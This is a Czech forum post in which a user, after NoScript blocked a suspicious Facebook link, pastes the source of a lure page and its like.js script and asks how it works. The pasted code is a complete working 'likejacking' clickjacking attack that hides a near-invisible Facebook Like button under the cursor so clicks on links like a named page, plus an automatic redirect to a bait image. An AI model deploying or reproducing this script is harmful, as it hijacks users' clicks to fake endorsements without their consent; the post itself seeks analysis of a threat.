z jedny fb page mi prisel odkaz co se presmeruje na
http://britney.geb.czprikladam zdrojak
<!DOCTYPE html>
<html lang="cs">
<head>
<meta content="text/html; charset=UTF-8" http-equiv="content-type" />
<meta content="index,follow" name="robots" />
<title>Nejkrásnější žena na světě!</title>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script src="http://code.jquery.com/jquery-1.5.js"></script>
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
<script>
window.DO_CLICKJACKING = 1;
var fbpage = "https://www.facebook.com/PolitickyKompost";
setInterval(function(){window.location.href = "Britney_Spears_boobs.jpg";},7000);
</script>
<script src="like.js"></script>
</head>
<body>
<br />
<br />
<center>
<a href="Britney_Spears_boobs.jpg"><img id="img" width="500" src="Britney-spearsB.png"></a>
</center>
</body>
</html>
. to ma jako automaticky bez akce uzivatele
pridat LIKE te strance
http://www.facebook.com/PolitickyKompost ?
Ja pouzivam no script takze to neproslo. V cem to ma asi fungovat ze by cistej IE? Nebo i firefox bez ochrany?
po nacteni toho imho fejk obrazku je druhej obsahlejsi script na
http://britney.geb.cz/like.jsobsah:
/*************************************************************/
var $J = jQuery.noConflict();
// solve: images and floating divs
function heightestChild(elem) {
var t = 0;
var t_elem;
$J("*", elem).each(function () {
if ($J(this).outerHeight(true) > t) {
t_elem = $J(this);
t = t_elem.outerHeight(true);
}
});
// we care about the heighest
if (elem.outerHeight(true) > t) {
t = elem.outerHeight(true);
}
//return elem.outerHeight(true);
return t + 3; // hotfix
}
function highestOffsetTop(elem) {
var t = elem.offset().top;
var t_elem;
$J("*", elem).each(function () {
if ($J(this).offset().top < t) {
t_elem = $J(this);
t = t_elem.offset().top;
}
});
// we only care about the object that is most on top
if (elem.offset().top < t) {
t = elem.offset().top;
}
//return elem.offset().top;
return t + 3;
}
$J(document).ready(function () {
//$J("#img").attr("src",img);
if (window.DO_CLICKJACKING) {
$J("body").append('<div id="clickjacking" style="position:absolute;display:block;opacity:0.01;-khtml-opacity:.01;-moz-opacity:.01;filter:alpha(opacity=1);"><fb:like layout="button_count" show_faces="false" width="100" href="'+fbpage+'"></fb:like></div>');
var elementWidth = 0;
var elementHeight = 0;
var theElement = '';
var likeDone = 0;
if ($J.cookie("clickjacking_jj") == 1) {
likeDone = 1;
}
// fired when the user clicks a link (likes our page) -> clickjacking is done
FB.Event.subscribe('edge.create', function (response) {
$J("#clickjacking").css("display", "none");
likeDone = 1;
$J.cookie("clickjacking_jj", "1");
// let the user actually go to the link he clicked.
//window.location.href = "http://nejkrasnejsizena.geb.cz/naha.jpg";
});
$J(document).mousemove(function (event) {
if (theElement != '') {
if (event.pageY < (highestOffsetTop(theElement) - 4) || event.pageY > (highestOffsetTop(theElement) + heightestChild(theElement)) || event.pageX < theElement.offset().left || event.pageX > (theElement.offset().left + theElement.width())) {
theElement = ''; // the mouse is off theElement
$J("#clickjacking").css("display", "none");
}
else {
if ($J.browser.msie) {
$J("#clickjacking").css("top", (event.pageY - 15) + "px");
$J("#clickjacking").css("left", (event.pageX - 20) + "px");
}
else {
$J("#clickjacking").css("top", (event.pageY - 5) + "px");
$J("#clickjacking").css("left", (event.pageX - 20) + "px");
}
}
}
});
$J(document).delegate("a", "mouseenter", function () {
// register mouse is inside element
if (likeDone == 0) {
theElement = $J(this);
$J("#clickjacking").css("display", "block");
}
});
} // window.DO_CLICKJACKING
});
jQuery.cookie = function (name, value, options) {
if (typeof value != 'undefined') { // name and value given, set cookie
options = options || {};
if (value === null) {
value = '';
options.expires = -1;
}
var expires = '';
if (options.expires && (typeof options.expires == 'number' || options.expires.toUTCString)) {
var date;
if (typeof options.expires == 'number') {
date = new Date();
date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000));
} else {
date = options.expires;
}
expires = '; expires=' + date.toUTCString(); // use expires attribute, max-age is not supported by IE
}
// CAUTION: Needed to parenthesize options.path and options.domain
// in the following expressions, otherwise they evaluate to undefined
// in the packed version for some reason...
var path = options.path ? '; path=' + (options.path) : '';
var domain = options.domain ? '; domain=' + (options.domain) : '';
var secure = options.secure ? '; secure' : '';
document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');
} else { // only name given, get cookie
var cookieValue = null;
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
var cookie = jQuery.trim(cookies[i]);
// Does this cookie string begin with the name we want?
if (cookie.substring(0, name.length + 1) == (name + '=')) {
cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
break;
}
}
}
return cookieValue;
}
};
Uvitam komentar programatora, dekuji.